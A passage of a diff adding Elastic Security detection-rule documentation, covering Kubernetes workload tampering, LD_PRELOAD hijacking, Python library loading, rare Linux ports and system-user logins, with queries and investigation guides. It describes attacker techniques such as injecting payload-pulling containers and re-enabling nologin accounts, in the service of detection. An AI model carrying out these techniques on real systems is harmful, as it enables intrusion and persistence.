policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and ( + (process.name:(lsmod or modinfo)) or + (process.name:kmod and process.args:list) or + (process.name:depmod and process.args:(--all or -a)) +) and +not ( + process.parent.name:( + mkinitramfs or cryptroot or framebuffer or dracut or jem or thin-provisioning-tools or readykernel or lvm2 or + vz-start or iscsi or mdadm or ovalprobes or bcache or plymouth or dkms or overlayroot or weak-modules or zfs or + systemd or whoopsie-upload-all or kdumpctl or apport-gtk or casper or rear or kernel-install or newrelic-infra + ) or + process.parent.executable:( + /var/lib/dpkg/info/linux-modules*-generic.post* or "/var/ossec/bin/wazuh-modulesd" or "/opt/gitlab/embedded/bin/ruby" or + "/usr/share/initramfs-tools/hooks/thermal" or "/usr/libexec/iptables/iptables.init" or "/usr/sbin/mkinitramfs" or + "/usr/share/initramfs-tools/hooks/cryptroot" or "/usr/bin/kdumpctl" + ) or + process.parent.args:(/var/lib/dpkg/info/* or /var/tmp/rpm-tmp* or "longhorn-manager" or "/usr/bin/entry") or + process.entry_leader.executable:( + "/usr/lib/apt/apt.systemd.daily" or "/usr/libexec/gnome-terminal-server" or "/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-kubernetes-sensitive-workload-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-kubernetes-sensitive-workload-modification.asciidoc new file mode 100644 index 0000000000..4785de25d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-kubernetes-sensitive-workload-modification.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-unusual-kubernetes-sensitive-workload-modification]] +=== Unusual Kubernetes Sensitive Workload Modification + +Detects the creation or modification of several sensitive workloads, such as DaemonSets, Deployments, or CronJobs, by an unusual user agent, source IP and username, which may indicate privilege escalation or unauthorized access within the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control +* https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Kubernetes Sensitive Workload Modification* + + +This rule detects allowed create or patch activity against sensitive Kubernetes workloads (DaemonSets, Deployments, CronJobs) coming from an unusual combination of client, network origin, and user identity, which can signal stolen credentials, privilege escalation, or unauthorized control of cluster execution. Attackers commonly patch an existing Deployment to inject a new container or init container that runs with elevated privileges and pulls a remote payload, then rely on the workload controller to redeploy it across the environment. + + +*Possible investigation steps* + + +- Retrieve the full audit event for the change and compare it to the most recent prior modification of the same workload to identify what was altered (e.g., image, command/args, env/secret refs, volumes, serviceAccount, securityContext, hostPath/hostNetwork, privileged settings). +- Attribute the action to a real identity by tracing the Kubernetes user to its backing cloud/IAM identity or kubeconfig/cert and validate whether the access path (SSO, token, service account, CI/CD runner) and source network location are expected for that operator. +- Determine blast radius by listing other recent creates/patches by the same identity and from the same origin across namespaces, and check for follow-on actions such as creating RBAC bindings, secrets, or additional controllers. +- Inspect the affected workload’s rollout status and pod specs to confirm whether new pods were created, then review container images, pull registries, and runtime behavior for indicators of compromise (unexpected network egress, crypto-mining, credential access, or exec activity). +- Validate the change against an approved deployment workflow by correlating with GitOps/CI commit history and change tickets, and if unapproved, contain by scaling down/rolling back the workload and revoking the credential or token used. + + +*False positive analysis* + + +- A legitimate on-call engineer performs an emergency `kubectl` create/patch to a Deployment/CronJob/DaemonSet from a new workstation, VPN egress IP, or updated kubectl version, producing an unusual user_agent/source IP/username combination despite being authorized. +- A routine automation path changes (e.g., CI runner or service account rotated/migrated to a new node pool or network segment) and continues applying standard workload updates, causing the same create/patch activity to appear anomalous due to the new origin and client identity. + + +*Response and remediation* + + +- Immediately pause impact by scaling the modified Deployment/CronJob to zero or deleting the new DaemonSet and stopping any active rollout while preserving the altered manifest for evidence. +- Roll back the workload to the last known-good version from GitOps/CI or prior ReplicaSet/Job template, then redeploy only after verifying container images, init containers, commands, serviceAccount, and privileged/host settings match the approved baseline. +- Revoke and rotate the credential used for the change (user token/cert or service account token), invalidate related kubeconfigs, and review/remove any newly created RBAC bindings, secrets, or service accounts tied to the same actor. +- Quarantine affected nodes and pods for analysis by cordoning/draining nodes that ran the new pods and collecting pod logs, container filesystem snapshots, and network egress details to identify payloads and persistence. +- Escalate to the incident response/on-call security team immediately if the change introduced privileged containers, hostPath mounts, hostNetwork, new external images/registries, or any unexpected DaemonSet creation across multiple nodes. +- Harden by enforcing admission controls to restrict privileged settings and sensitive namespaces, requiring changes via approved automation identities, and tightening RBAC so only designated deployment controllers can create/patch DaemonSets, Deployments, and CronJobs. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"kubernetes.audit_logs" and user_agent.original:* and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:("daemonsets" or "deployments" or "cronjobs") and +kubernetes.audit.verb:("create" or "patch") and +not kubernetes.audit.user.groups:"system:masters" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc new file mode 100644 index 0000000000..9d95549d14 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-20-unusual-ld-preload-ld-library-path-command-line-arguments]] +=== Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments + +This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment variables in a command line argument. This behavior is unusual and may indicate an attempt to hijack the execution flow of a process. Threat actors may use this technique to evade defenses, escalate privileges, or maintain persistence on a system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments* + + +LD_PRELOAD and LD_LIBRARY_PATH are environment variables in Linux that influence dynamic linking by specifying libraries to load before others. Adversaries exploit these to hijack execution flow, evade defenses, or escalate privileges. The detection rule identifies suspicious use of these variables in shell commands, excluding benign processes, signaling potential misuse for persistence or defense evasion. + + +*Possible investigation steps* + + +- Review the process command line to identify the specific libraries being loaded via LD_PRELOAD or LD_LIBRARY_PATH and assess their legitimacy. +- Examine the parent process name to determine if the process is expected to use these environment variables, considering the exclusion list provided in the query. +- Investigate the user account associated with the process to check for any signs of compromise or unusual activity. +- Analyze the process execution context, including the timestamp and host details, to identify any patterns or correlations with other suspicious activities. +- Check system logs and other security tools for related alerts or events that might indicate broader malicious activity or attempts to evade defenses. + + +*False positive analysis* + + +- Development and testing environments often use LD_PRELOAD and LD_LIBRARY_PATH for legitimate purposes such as testing new libraries or debugging. Consider excluding processes associated with these environments if they are known and trusted. +- Some software installations or updates may temporarily use these environment variables to ensure compatibility or to load specific libraries. Monitor installation logs and exclude these processes if they are verified as part of legitimate software management. +- System administration scripts or automation tools might use these variables to manage library paths dynamically. Review and whitelist these scripts if they are part of routine maintenance and have been vetted for security. +- Certain applications, like custom-built software or legacy systems, may rely on these variables for normal operation. Document these applications and exclude them from the rule if they are essential and secure. +- Security tools or monitoring agents might use these variables to hook into processes for legitimate monitoring purposes. Verify the behavior of these tools and exclude them if they are part of your security infrastructure. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes identified with unusual LD_PRELOAD or LD_LIBRARY_PATH usage to halt potential exploitation. +- Conduct a thorough review of the affected system's environment variables and remove any unauthorized or suspicious entries. +- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement stricter access controls and monitoring on the affected system to prevent unauthorized changes to environment variables. +- Update and enhance detection rules to include additional indicators of compromise related to LD_PRELOAD and LD_LIBRARY_PATH misuse, ensuring future attempts are identified promptly. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and +process.parent.name:(* and not ( + awk or bwrap or cylancesvc or dbus-run-session or java or julia or make or matlab_helper or ninja or noproc_sandbox or + nxrunner or nxserver or perl or rear or sapcontrol or setsid or spoold or sshd or steam or su or sudo or titanagent or + vls_agent or zabbix_agentd +)) and +not process.parent.executable:( + /tmp/CVU_19_resource*/exectask or /u01/app/oracle/*oracle/CVU_19_oracle*/exectask or "/opt/ds_agent/ds_agent" or + "/opt/McAfee/agent/scripts/ma" or "/usr/local/bin/AppProtection/BootTimeChecker" or "/usr/bin/gmake" or "./runc" or + "/usr/openv/db/bin/nbdb_unload" +) and +not process.parent.args:"/opt/McAfee/agent/scripts/ma" and +process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and +process.args:-c and process.command_line:(*LD_LIBRARY_PATH=* or *LD_PRELOAD=*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-library-load-via-python.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-library-load-via-python.asciidoc new file mode 100644 index 0000000000..63cab19a6d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-library-load-via-python.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-20-unusual-library-load-via-python]] +=== Unusual Library Load via Python + +Detects when a Python process loads an unusual library from within the user's home directory where the file is not a standard .so or .dylib file. This technique has been observed in APT campaigns by the Lazarus Group and Slow Pisces to load malicious payloads. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/slow-pisces-new-custom-malware/ +* https://slowmist.medium.com/cryptocurrency-apt-intelligence-unveiling-lazarus-groups-intrusion-techniques-a1a6efda7d34 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Library Load via Python* + + +Python's dynamic library loading capabilities allow code to import and execute shared libraries at runtime. Sophisticated threat actors, including APT groups like Lazarus and Slow Pisces, abuse this functionality to load malicious payloads disguised as Python modules from user directories. This detection rule identifies when Python loads libraries from user home directories that don't follow standard naming conventions (.so or .dylib), indicating potential malicious module loading. + + +*Possible investigation steps* + + +- Examine the dll.path field to identify the full path of the library being loaded and determine if it is in an expected location for legitimate Python packages. +- Analyze the dll.name to assess whether the file extension matches known malicious patterns or unusual naming conventions not typical for Python modules. +- Calculate the hash of the loaded library file and search threat intelligence databases for known malicious indicators associated with Lazarus or Slow Pisces campaigns. +- Review the process.executable and process.command_line to understand which Python script or application initiated the library load. +- Examine the parent process hierarchy using process.parent.executable to trace back to the initial execution vector that launched the Python process. +- Check for other files in the same directory as the loaded library that may be additional malware components or supporting payloads. +- Review file creation timestamps to determine when the suspicious library was placed on the system and correlate with other security events. + + +*False positive analysis* + + +- Some Python applications dynamically extract or compile extension modules during runtime, particularly scientific computing packages. Verify if the application is known to exhibit this behavior. +- Development environments and IDEs may use unconventional library paths during testing and debugging. Confirm with development teams if such activities are expected. +- PyQt and similar UI frameworks may load additional framework files from user directories. These are partially excluded in the query but may require additional tuning. +- Pyenv and virtual environment setups may have libraries in non-standard locations. Review the paths against known virtual environment structures. + + +*Response and remediation* + + +- Immediately terminate the Python process if the loaded library is confirmed or suspected to be malicious. +- Quarantine the suspicious library file for forensic analysis and malware reverse engineering. +- Scan the system for additional indicators of compromise associated with the identified threat actor campaign. +- Review the Python script or application that loaded the library and assess whether it has been modified or replaced. +- Check for persistence mechanisms that may reload the malicious library on system restart or user login. +- Search for similar library loading patterns across other systems in the environment to identify potential lateral movement. +- Reset any credentials or tokens that may have been exposed through the compromised Python process. +- Escalate to the incident response team if APT-level compromise is suspected. + + +==== Rule query + + +[source, js] +---------------------------------- +library where host.os.type == "macos" and event.action == "load" and + dll.path like "/Users/*" and + process.name like "python*" and + not dll.name like ("*.so", "*.dylib", "Python", "*.*_extension", "*.dylib.*") and + not dll.path like ("*/site-packages/*/Qt*/lib/Qt*.framework/Versions/*/Qt*", + "/Users/*/.pyenv/versions/*/lib/python*/site-packages/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-linux-network-port-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-linux-network-port-activity.asciidoc new file mode 100644 index 0000000000..be20b9cff9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-linux-network-port-activity.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-20-unusual-linux-network-port-activity]] +=== Unusual Linux Network Port Activity + +Identifies unusual destination port activity that can indicate command-and-control, persistence mechanism, or data exfiltration activity. Rarely used destination port activity is generally unusual in Linux fleets, and can indicate unauthorized access or threat actor activity. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Linux Network Port Activity* + + +In Linux environments, network ports facilitate communication between applications and services. Adversaries may exploit rarely used ports for covert command-and-control, persistence, or data exfiltration, bypassing standard monitoring. The 'Unusual Linux Network Port Activity' detection rule leverages machine learning to identify anomalies in port usage, flagging potential unauthorized access or threat actor activity by highlighting deviations from typical network behavior. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific unusual destination port and the associated source and destination IP addresses. +- Check historical network logs to determine if the identified port has been used previously and assess the frequency and context of its usage. +- Investigate the source IP address to determine if it is associated with known internal systems or if it is an external or unexpected source. +- Analyze the destination IP address to verify if it is a legitimate endpoint within the network or an external entity that requires further scrutiny. +- Correlate the unusual port activity with any recent changes or updates in the network environment that might explain the anomaly. +- Examine any related process or application logs on the involved Linux systems to identify the application or service responsible for the network activity. +- Consider reaching out to the system owner or administrator for additional context or to verify if the activity is expected or authorized. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when using non-standard ports for legitimate purposes. Users can create exceptions for known administrative tools and scripts that consistently use these ports. +- Internal applications or services might use uncommon ports for inter-service communication. Identify these applications and whitelist their port usage to prevent unnecessary alerts. +- Security tools and monitoring solutions sometimes scan or probe network ports as part of their operations. Recognize these tools and exclude their activities from the rule to avoid false positives. +- Development and testing environments often experiment with various port configurations. Establish a separate monitoring profile for these environments to reduce noise in production alerts. +- Custom or legacy applications may operate on non-standard ports due to historical configurations. Document these applications and adjust the rule to accommodate their expected behavior. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of the system's network connections and terminate any suspicious or unauthorized connections. +- Analyze system logs to identify any malicious processes or scripts that may have been executed, and remove or quarantine any identified threats. +- Change all credentials associated with the affected system, especially if there is any indication of credential compromise. +- Restore the system from a known good backup if any unauthorized changes or malware are detected. +- Implement network segmentation to limit the exposure of critical systems to potential threats and reduce the risk of lateral movement. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Auditd Manager + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule no additional audit rules are required. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Traffic Signaling +** ID: T1205 +** Reference URL: https://attack.mitre.org/techniques/T1205/ +* Sub-technique: +** Name: Port Knocking +** ID: T1205.001 +** Reference URL: https://attack.mitre.org/techniques/T1205/001/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-login-via-system-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-login-via-system-user.asciidoc new file mode 100644 index 0000000000..4597849a3e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-login-via-system-user.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-20-unusual-login-via-system-user]] +=== Unusual Login via System User + +This rule identifies successful logins by system users that are uncommon to authenticate. These users have "nologin" set by default, and must be modified to allow SSH access. Adversaries may backdoor these users to gain unauthorized access to the system. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-system.auth-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/ +* https://x.com/RFGroenewoud/status/1875112050218922010 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: System +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Login via System User* + + +In Linux environments, system users typically have restricted login capabilities to prevent unauthorized access. These accounts, often set with `nologin`, are not meant for interactive sessions. Adversaries may exploit these accounts by altering their configurations to enable SSH access, thus bypassing standard security measures. The detection rule identifies successful logins by these uncommon system users, flagging potential unauthorized access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the login event details to identify the specific system user account involved in the successful login, focusing on the user.name field. +- Check the system logs for any recent changes to the user account's configuration, particularly modifications that might have enabled SSH access for accounts typically set with nologin. +- Investigate the source IP address associated with the login event to determine if it is known or suspicious, and assess whether it aligns with expected access patterns. +- Examine the timeline of events leading up to and following the login to identify any unusual activities or patterns that could indicate malicious behavior. +- Verify if there are any other successful login attempts from the same source IP or involving other system user accounts, which could suggest a broader compromise. +- Consult with system administrators to confirm whether any legitimate changes were made to the system user account's login capabilities and document any authorized modifications. + + +*False positive analysis* + + +- System maintenance tasks may require temporary login access for system users. Verify if the login corresponds with scheduled maintenance and consider excluding these events during known maintenance windows. +- Automated scripts or services might use system accounts for legitimate purposes. Identify these scripts and whitelist their associated activities to prevent false alerts. 